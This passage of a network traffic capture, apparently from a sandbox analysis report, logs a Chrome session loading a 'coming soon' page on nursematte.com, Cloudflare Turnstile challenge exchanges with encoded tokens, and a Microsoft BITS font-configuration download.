2024-08-23 14:21:15 UTC	349	OUT	GET /favicon.ico HTTP/1.1 Host: nursematte.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:16 UTC	301	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:15 GMT Server: nginx/1.21.6 Content-Type: text/html Content-Length: 4217 Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Server-Cache: true X-Proxy-Cache: HIT Accept-Ranges: bytes
2024-08-23 14:21:16 UTC	4217	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 67 69 6d 67 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 69 64 64 6c 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 3e 43 4f 4d 49 4e 47 20 53 4f 4f 4e 3c 2f 68 31 3e 0a 20 20 20 20 20 20 20 20 3c 68 72 3e 0a 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 64 65 6d 6f 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 22 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 62 6f 64 79 2c 0a 20 20 20 20 20 20 68 74 6d Data Ascii: <html> <head> <title>COMING SOON</title> <body> <div class="bgimg"> <div class="middle"> <h1>COMING SOON</h1> <hr> <p id="demo" style="font-size:30px"></p> </div> </div> <style> body, htm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49721	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:17 UTC	926	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2837 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 76b287cdb3503ee sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:17 UTC	2837	OUT	Data Raw: 76 5f 38 62 37 62 62 66 36 64 64 39 34 39 63 34 33 62 3d 42 65 47 4c 52 4c 6b 4c 43 4c 69 4c 4a 4c 54 63 50 6c 63 50 34 74 24 34 24 69 55 53 24 55 50 24 74 4b 69 25 32 62 24 58 4b 50 64 63 50 24 2b 34 50 49 50 6e 61 50 64 34 37 38 4b 24 79 50 55 4c 41 48 75 38 50 34 4c 6b 57 50 54 7a 6e 6e 66 79 62 50 75 32 50 66 50 4b 32 41 51 35 50 50 5a 37 50 35 63 39 7a 24 63 50 64 74 32 33 65 50 4b 65 24 6a 47 71 77 38 24 64 48 4c 55 32 45 62 4b 6e 30 73 34 74 6b 39 39 5a 69 47 50 31 55 68 51 51 36 4e 57 49 2b 62 50 47 50 53 31 4c 50 2b 71 4b 71 75 72 48 37 54 6d 47 52 50 75 34 50 47 63 4a 4c 52 4c 41 36 58 6b 4c 50 4b 56 47 71 4a 41 7a 50 68 4c 24 36 50 55 47 4f 4b 2b 37 50 59 71 4b 38 50 57 65 50 79 71 4b 2b 47 7a 73 50 64 67 41 48 42 61 74 38 66 38 50 59 32 76 75 Data Ascii: v_8b7bbf6dd949c43b=BeGLRLkLCLiLJLTcPlcP4t$4$iUS$UP$tKi%2b$XKPdcP$+4PIPnaPd478K$yPULAHu8P4LkWPTznnfybPu2PfPK2AQ5PPZ7P5c9z$cPdt23ePKe$jGqw8$dHLU2EbKn0s4tk99ZiGP1UhQQ6NWI+bPGPS1LP+qKqurH7TmGRPu4PGcJLRLA6XkLPKVGqJAzPhL$6PUGOK+7PYqK8PWePyqK+GzsPdgAHBat8f8PY2vu
2024-08-23 14:21:17 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:17 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 151392 Connection: close cf-chl-gen: aSpI44yVKMKnsYZqMH7ohX2XlhLWtZE1RkdsF3cbbU+uN1sWfqQwbqAilKxnokn1l+v624bGweLZ5qqa1TQRz5j/u2dGJFy8P1qzACtiJqE/TJzPVhdHXDYuz5+GYCFO2FRgsudnO+AM0PHMITTOzTN2/LJxGHUJJdas6sG5yqxgihuT0uN3NtjkOK9F7U8oCieUTl8KjdcxHhLan7iOrKIHGaOYDp+Xa/+NGHUUR51Tgwd8sbnb/JNKbR2lW8EoMyl0Yhs/rmz2yJrkOLiq4Yk1HOG0KFqGrRX+3GZ42CsXPrENgQorDAB1yzAn7a9RPMbj968x3S8EijpCiv+wU97nMBjdOh0IQOToggiWehZNCXwDIJjJHti8/SRq9uskQEOzgBOSkYCtLdiryRmrJO/ijON7Dq4MWjtrRaFofnP+DjdzfrKHM/aZ4/+xbVLDfQamvnxo/Nb3gnlgCfRiSW+GvPUw3XYbYImsAFk3oAAnuV4=$PauAwODkPTqTWFVW Server: cloudflare CF-RAY: 8b7bbf89ce440f7b-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:17 UTC	622	IN	Data Raw: 74 6e 69 4f 6b 58 64 35 72 35 57 77 66 34 36 6b 66 63 43 52 77 73 6d 66 6d 73 57 56 6c 71 53 61 7a 4b 79 63 6b 72 37 58 6a 74 57 75 70 4e 47 55 74 4c 79 2f 76 4d 4c 59 73 37 4f 32 73 4d 50 58 74 4d 48 41 71 75 37 58 76 61 36 71 79 74 4c 79 71 38 72 53 77 37 58 4f 36 4d 6a 30 76 4c 45 43 34 4d 4c 51 38 39 77 49 30 64 4c 34 32 50 36 2b 39 65 33 4c 7a 67 41 48 30 68 55 47 45 77 37 68 45 65 77 55 32 68 76 73 46 64 72 34 46 77 45 42 2b 79 58 6d 41 77 41 70 36 76 7a 34 2b 53 6f 45 41 76 77 4e 44 65 38 67 4b 50 44 32 4e 2f 6b 36 37 7a 76 39 51 50 34 56 50 79 51 34 50 68 31 49 49 6a 59 65 47 6b 39 48 52 56 45 52 56 42 39 50 45 54 41 35 56 6b 63 53 4b 42 59 30 4f 7a 6b 73 4e 31 45 66 49 6a 78 6f 52 6a 4d 71 53 43 63 6f 58 47 46 45 4f 55 4e 77 54 69 38 2f 64 7a 46 Data Ascii: tniOkXd5r5Wwf46kfcCRwsmfmsWVlqSazKyckr7XjtWupNGUtLy/vMLYs7O2sMPXtMHAqu7Xva6qytLyq8rSw7XO6Mj0vLEC4MLQ89wI0dL42P6+9e3LzgAH0hUGEw7hEewU2hvsFdr4FwEB+yXmAwAp6vz4+SoEAvwNDe8gKPD2N/k67zv9QP4VPyQ4Ph1IIjYeGk9HRVERVB9PETA5VkcSKBY0OzksN1EfIjxoRjMqSCcoXGFEOUNwTi8/dzF
2024-08-23 14:21:17 UTC	1369	IN	Data Raw: 39 4b 67 55 4b 51 65 6f 46 6f 66 5a 52 6d 57 4a 47 56 6d 49 6d 48 5a 6c 47 4d 69 6f 46 72 57 71 5a 6d 59 4a 53 70 5a 5a 4f 66 71 58 78 35 67 6f 32 6c 68 49 61 44 6b 57 6d 35 67 35 71 62 68 4a 6d 55 64 5a 4c 41 6d 70 57 4d 65 35 2b 7a 74 73 4f 71 78 34 76 4c 6d 70 7a 4f 6d 5a 75 73 30 71 79 57 70 71 4c 50 32 61 2b 58 6c 35 43 73 6e 74 43 74 73 61 2f 45 76 39 57 34 79 72 66 42 35 62 7a 45 77 61 72 47 30 64 54 31 7a 64 44 4e 74 37 48 58 30 37 7a 75 37 74 71 2f 32 74 66 2b 41 77 44 59 76 66 66 45 34 74 66 72 2f 41 2f 68 45 67 51 50 35 75 54 6a 38 42 67 54 46 2b 7a 36 46 76 37 38 38 69 4c 54 39 2b 77 53 2f 69 48 32 4b 41 63 63 2f 51 67 6e 41 53 33 75 43 44 4c 74 48 79 54 2b 4b 66 51 75 43 75 30 70 2b 66 41 4c 51 43 77 67 4d 79 4e 48 49 30 56 42 41 78 34 4d 53 Data Ascii: 9KgUKQeoFofZRmWJGVmImHZlGMioFrWqZmYJSpZZOfqXx5go2lhIaDkWm5g5qbhJmUdZLAmpWMe5+ztsOqx4vLmpzOmZus0qyWpqLP2a+Xl5CsntCtsa/Ev9W4yrfB5bzEwarG0dT1zdDNt7HX07zu7tq/2tf+AwDYvffE4tfr/A/hEgQP5uTj8BgTF+z6Fv788iLT9+wS/iH2KAcc/QgnAS3uCDLtHyT+KfQuCu0p+fALQCwgMyNHI0VBAx4MS
2024-08-23 14:21:17 UTC	1369	IN	Data Raw: 6b 54 70 52 71 6a 6d 74 31 55 6f 5a 35 6c 48 56 61 6c 5a 65 4d 6b 31 39 76 6f 4a 65 42 70 6f 4e 2b 67 71 75 63 72 49 4f 73 72 72 4f 71 6b 33 46 77 65 4a 61 62 6a 58 74 35 6c 4a 71 2f 75 63 44 45 74 38 47 61 6e 4b 6d 37 6d 63 75 36 77 6f 66 4d 71 4d 47 70 73 4d 47 52 73 4a 6a 5a 31 62 69 75 76 5a 76 61 79 61 2f 69 72 39 2b 37 74 64 58 56 36 63 48 67 72 4d 7a 62 38 4f 79 76 32 36 75 30 71 39 66 34 74 37 54 6e 73 2f 50 35 36 62 62 4b 36 63 2f 72 41 50 36 2f 32 39 72 5a 31 65 6f 4f 78 2b 66 39 79 73 63 4f 30 65 72 78 45 4e 58 72 34 76 6a 33 35 2f 33 57 2f 66 33 5a 39 67 4d 4f 46 42 73 54 46 78 73 6e 39 67 59 64 4d 42 73 78 45 69 49 4b 45 41 49 30 39 67 6a 33 43 7a 6b 32 2b 7a 55 49 50 78 6b 35 44 54 4c 37 2b 41 55 31 51 42 63 43 2f 6b 63 47 49 55 34 74 53 52 Data Ascii: kTpRqjmt1UoZ5lHValZeMk19voJeBpoN+gqucrIOsrrOqk3FweJabjXt5lJq/ucDEt8GanKm7mcu6wofMqMGpsMGRsJjZ1biuvZvaya/ir9+7tdXV6cHgrMzb8Oyv26u0q9f4t7Tns/P56bbK6c/rAP6/29rZ1eoOx+f9yscO0erxENXr4vj35/3W/f3Z9gMOFBsTFxsn9gYdMBsxEiIKEAI09gj3Czk2+zUIPxk5DTL7+AU1QBcC/kcGIU4tSR
2024-08-23 14:21:17 UTC	1369	IN	Data Raw: 66 47 39 78 68 6d 36 42 65 32 4b 55 62 35 43 56 59 70 2b 4b 66 33 35 72 64 36 5a 6c 69 58 2b 49 6d 35 4f 42 70 35 4f 49 73 35 43 45 69 72 4f 77 69 33 6e 41 6e 71 4b 33 67 5a 36 6a 75 36 4f 70 76 62 6d 71 71 63 36 74 6f 63 61 7a 71 36 65 72 32 4d 75 57 7a 62 57 72 75 72 75 31 34 61 72 4c 77 62 47 34 72 74 37 69 34 4f 4c 67 75 37 58 46 75 36 2f 41 30 65 72 53 72 75 72 6c 73 4e 72 53 30 4f 33 4f 31 65 6e 31 7a 76 59 44 37 41 50 56 2b 75 6a 66 32 4d 6a 64 37 51 6e 73 36 41 50 38 34 4e 54 6f 44 41 7a 4f 39 65 55 52 32 68 72 64 47 77 72 61 33 77 55 62 37 52 6b 5a 39 79 49 44 36 68 55 67 47 42 34 79 48 50 44 6c 41 42 49 48 39 7a 41 45 4c 51 51 53 46 52 72 33 50 42 59 32 2b 30 45 64 4d 41 4d 66 48 53 51 57 54 53 78 43 50 68 6c 4d 51 6b 49 6a 53 69 52 48 49 6c 59 Data Ascii: fG9xhm6Be2KUb5CVYp+Kf35rd6ZliX+Im5OBp5OIs5CEirOwi3nAnqK3gZ6ju6Opvbmqqc6tocazq6er2MuWzbWruru14arLwbG4rt7i4OLgu7XFu6/A0erSrurlsNrS0O3O1en1zvYD7APV+ujf2Mjd7Qns6AP84NToDAzO9eUR2hrdGwra3wUb7RkZ9yID6hUgGB4yHPDlABIH9zAELQQSFRr3PBY2+0EdMAMfHSQWTSxCPhlMQkIjSiRHIlY
2024-08-23 14:21:17 UTC	1369	IN	Data Raw: 59 4e 69 6d 48 53 6d 69 48 57 68 6e 70 71 4a 70 47 70 36 6e 57 79 44 63 71 69 4a 63 59 57 4f 73 59 53 38 6e 61 65 34 6e 71 43 32 6a 49 2b 64 6b 4b 50 45 76 73 69 6a 77 35 36 49 7a 36 65 35 70 63 44 4f 76 6f 36 76 7a 36 66 43 70 38 2f 4e 33 61 79 65 72 72 50 53 6f 36 7a 65 6e 5a 2b 6c 79 73 48 6a 71 2b 53 75 76 36 36 39 36 64 43 7a 7a 74 37 6a 30 63 6e 73 32 4d 76 62 78 2b 44 79 39 63 33 74 76 4e 7a 2b 2b 2f 76 78 35 67 54 33 35 38 67 4b 44 4f 51 48 7a 65 72 77 7a 38 6e 30 36 64 58 6c 46 4e 67 59 43 39 38 65 34 68 66 2b 49 77 51 6f 35 4f 50 70 4b 78 37 66 43 65 30 4f 47 67 54 6c 2f 67 55 32 38 77 50 79 4a 54 41 2b 4e 43 6f 68 4b 68 68 43 2f 51 51 30 44 7a 6f 71 50 68 6f 4d 2f 67 6f 42 48 52 6f 38 4d 45 49 69 44 77 30 58 57 53 70 4c 52 56 70 59 58 30 6f 34 Data Ascii: YNimHSmiHWhnpqJpGp6nWyDcqiJcYWOsYS8nae4nqC2jI+dkKPEvsijw56Iz6e5pcDOvo6vz6fCp8/N3ayerrPSo6zenZ+lysHjq+Suv6696dCzzt7j0cns2Mvbx+Dy9c3tvNz++/vx5gT358gKDOQHzerwz8n06dXlFNgYC98e4hf+IwQo5OPpKx7fCe0OGgTl/gU28wPyJTA+NCohKhhC/QQ0DzoqPhoM/goBHRo8MEIiDw0XWSpLRVpYX0o4
2024-08-23 14:21:17 UTC	1369	IN	Data Raw: 53 44 6d 4a 2b 4e 68 34 32 6c 62 4b 47 6c 71 48 52 30 62 70 69 4c 75 4b 69 77 75 4b 35 35 75 72 6d 78 75 62 65 58 64 37 32 2f 68 36 4f 46 77 38 6d 63 7a 4b 4b 78 30 62 75 4c 6b 64 50 4c 72 61 37 46 79 4d 75 53 73 4c 61 65 32 70 7a 4e 7a 4c 4f 6c 6e 35 6e 5a 36 75 72 73 79 61 66 6a 34 62 75 73 73 65 44 6f 74 50 58 4a 36 74 62 47 30 71 37 64 39 74 48 63 31 62 54 61 76 74 72 76 32 65 50 34 41 2f 66 71 43 51 6e 38 79 73 30 4d 41 50 45 4a 79 41 54 6a 47 65 51 4a 36 76 33 65 39 43 45 51 4a 50 67 56 49 43 48 38 4b 41 6f 70 41 79 30 74 4a 76 6f 41 48 53 34 4c 2f 69 44 30 44 54 6b 6b 2b 68 45 73 39 50 63 53 51 6b 44 37 4c 44 50 33 45 54 49 6a 4b 6b 59 64 50 79 4a 44 49 30 4d 6d 54 53 77 76 4b 68 41 76 57 69 74 59 4c 46 41 57 4c 79 73 36 4d 6a 49 77 59 32 51 38 4d Data Ascii: SDmJ+Nh42lbKGlqHR0bpiLuKiwuK55urmxubeXd72/h6OFw8mczKKx0buLkdPLra7FyMuSsLae2pzNzLOln5nZ6ursyafj4busseDotPXJ6tbG0q7d9tHc1bTavtrv2eP4A/fqCQn8ys0MAPEJyATjGeQJ6v3e9CEQJPgVICH8KAopAy0tJvoAHS4L/iD0DTkk+hEs9PcSQkD7LDP3ETIjKkYdPyJDI0MmTSwvKhAvWitYLFAWLys6MjIwY2Q8M
2024-08-23 14:21:17 UTC	1369	IN	Data Raw: 6b 69 59 69 4a 67 61 56 77 69 71 53 73 63 4a 61 4f 71 35 57 38 63 58 6c 39 73 4a 69 59 76 71 61 46 6b 72 4f 53 70 49 62 49 78 36 47 75 69 6f 69 71 76 74 54 48 71 71 53 75 31 62 47 32 75 74 50 4e 71 74 47 35 32 73 4b 7a 75 75 47 2b 6d 38 72 63 72 4f 58 44 34 75 33 46 76 75 33 64 78 36 7a 78 79 38 76 55 39 72 72 36 79 63 65 36 41 4e 72 44 7a 4e 4c 6c 2b 37 2f 46 41 39 62 73 33 67 72 6a 79 64 41 52 38 76 41 51 36 75 62 78 2b 65 76 71 35 65 6e 35 36 78 50 62 2b 43 41 59 42 2f 6e 6d 42 41 6e 6c 35 2f 51 57 2b 68 45 76 37 4f 6e 2b 4a 67 6e 79 49 77 59 61 4d 2f 4d 53 2b 44 73 41 48 44 6f 67 4c 79 55 67 52 68 41 47 50 54 52 45 52 77 67 5a 53 53 6b 6f 55 42 49 52 44 7a 46 5a 4f 54 6b 75 4a 51 38 78 47 44 51 2b 51 7a 77 77 51 57 4a 68 49 31 4e 6d 4f 56 39 4e 59 6b Data Ascii: kiYiJgaVwiqSscJaOq5W8cXl9sJiYvqaFkrOSpIbIx6GuioiqvtTHqqSu1bG2utPNqtG52sKzuuG+m8rcrOXD4u3Fvu3dx6zxy8vU9rr6yce6ANrDzNLl+7/FA9bs3grjydAR8vAQ6ubx+evq5en56xPb+CAYB/nmBAnl5/QW+hEv7On+JgnyIwYaM/MS+DsAHDogLyUgRhAGPTRERwgZSSkoUBIRDzFZOTkuJQ8xGDQ+QzwwQWJhI1NmOV9NYk
2024-08-23 14:21:17 UTC	1369	IN	Data Raw: 64 49 70 77 71 4c 71 6f 64 4a 61 6d 76 4c 43 69 73 5a 53 32 6e 72 6d 69 6c 70 4b 35 6f 4c 7a 47 77 38 79 49 69 63 65 6a 30 36 37 46 74 38 79 69 71 62 61 70 75 71 32 38 72 63 75 34 73 4a 32 68 6f 37 57 30 78 61 72 43 33 73 58 72 33 4e 2b 38 79 65 66 55 30 65 44 66 73 73 6d 36 30 66 7a 7a 38 64 4c 63 32 64 44 56 30 4f 48 36 33 51 6e 33 41 39 34 4e 35 63 6a 6e 45 67 77 4b 2f 51 66 6b 35 67 62 6e 42 78 7a 53 31 66 63 57 37 65 6b 65 2b 68 58 69 48 77 6a 6c 4a 67 6b 73 35 76 34 6a 2b 75 45 76 43 76 6f 4d 49 69 76 74 36 66 59 46 4d 41 73 31 37 30 41 57 44 44 54 37 45 50 34 39 4a 43 4d 38 46 53 49 37 46 6b 55 39 54 7a 41 6f 52 30 5a 41 52 30 34 59 52 69 31 4e 52 55 74 4f 48 46 52 64 59 44 30 69 4e 78 78 54 50 52 73 2b 52 56 68 4d 50 69 6c 45 53 32 42 6d 4a 6b 78 Data Ascii: dIpwqLqodJamvLCisZS2nrmilpK5oLzGw8yIicej067Ft8yiqbapuq28rcu4sJ2ho7W0xarC3sXr3N+8yefU0eDfssm60fzz8dLc2dDV0OH63Qn3A94N5cjnEgwK/Qfk5gbnBxzS1fcW7eke+hXiHwjlJgks5v4j+uEvCvoMIivt6fYFMAs170AWDDT7EP49JCM8FSI7FkU9TzAoR0ZAR04YRi1NRUtOHFRdYD0iNxxTPRs+RVhMPilES2BmJkx
2024-08-23 14:21:17 UTC	1369	IN	Data Raw: 59 32 72 76 48 4b 59 6d 61 7a 42 6b 49 43 6f 6f 72 75 41 77 4a 65 74 79 36 6d 35 6e 4c 48 54 74 4c 32 76 79 4c 6e 46 73 63 71 59 70 37 7a 65 6d 4e 33 4b 6d 74 54 55 7a 37 75 30 76 37 54 56 70 37 65 36 32 64 43 36 34 4e 2f 55 76 72 48 6c 78 2b 54 35 31 4e 72 56 39 39 61 36 39 4c 7a 79 30 67 58 41 37 2b 50 61 76 50 72 39 44 4d 67 4b 43 50 76 6d 41 2f 50 78 47 4f 7a 30 38 66 48 74 48 52 58 71 39 50 73 52 37 67 37 75 35 51 63 45 4b 41 72 36 39 53 73 4f 43 42 41 4d 41 52 30 63 37 53 2f 73 39 41 6b 7a 39 76 66 79 4e 68 45 2f 48 6a 73 51 50 54 38 53 42 55 4d 2b 46 69 6b 59 51 43 73 47 4c 45 51 62 43 30 64 51 51 54 51 74 57 56 67 33 53 44 73 59 4d 6c 30 66 4e 47 4d 67 54 32 4e 49 58 79 67 79 4f 31 68 4d 50 45 59 6d 49 31 4e 42 53 7a 38 31 4e 31 4a 49 57 56 70 73 Data Ascii: Y2rvHKYmazBkICooruAwJety6m5nLHTtL2vyLnFscqYp7zemN3KmtTUz7u0v7TVp7e62dC64N/UvrHlx+T51NrV99a69Lzy0gXA7+PavPr9DMgKCPvmA/PxGOz08fHtHRXq9PsR7g7u5QcEKAr69SsOCBAMAR0c7S/s9Akz9vfyNhE/HjsQPT8SBUM+FikYQCsGLEQbC0dQQTQtWVg3SDsYMl0fNGMgT2NIXygyO1hMPEYmI1NBSz81N1JIWVps

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49722	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-23 14:21:18 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=181462 Date: Fri, 23 Aug 2024 14:21:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49724	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:18 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:18 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 23 Aug 2024 14:21:18 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: elE6rBCBI3vWrk26R4daoTEFyav8NM5GqWw=$L9YEwQPW0l98ZH5E Server: cloudflare CF-RAY: 8b7bbf908f25236b-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:18 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49723	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:18 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-23 14:21:19 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=181436 Date: Fri, 23 Aug 2024 14:21:19 GMT Content-Length: 55 Connection: close X-CID: 2
2024-08-23 14:21:19 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49725	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:18 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8b7bbf6dd949c43b/1724422877780/3daea570a2e63ba95387280ed31743c52ff1e67b798d44b16121e60fe86f7483/XounNr_iHCHjsvj HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:19 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 23 Aug 2024 14:21:18 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-08-23 14:21:19 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 50 61 36 6c 63 4b 4c 6d 4f 36 6c 54 68 79 67 4f 30 78 64 44 78 53 5f 78 35 6e 74 35 6a 55 53 78 59 53 48 6d 44 2d 68 76 64 49 4d 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gPa6lcKLmO6lThygO0xdDxS_x5nt5jUSxYSHmD-hvdIMAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-08-23 14:21:19 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49726	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:20 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8b7bbf6dd949c43b/1724422877786/uHR2yhc274LAQhN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: 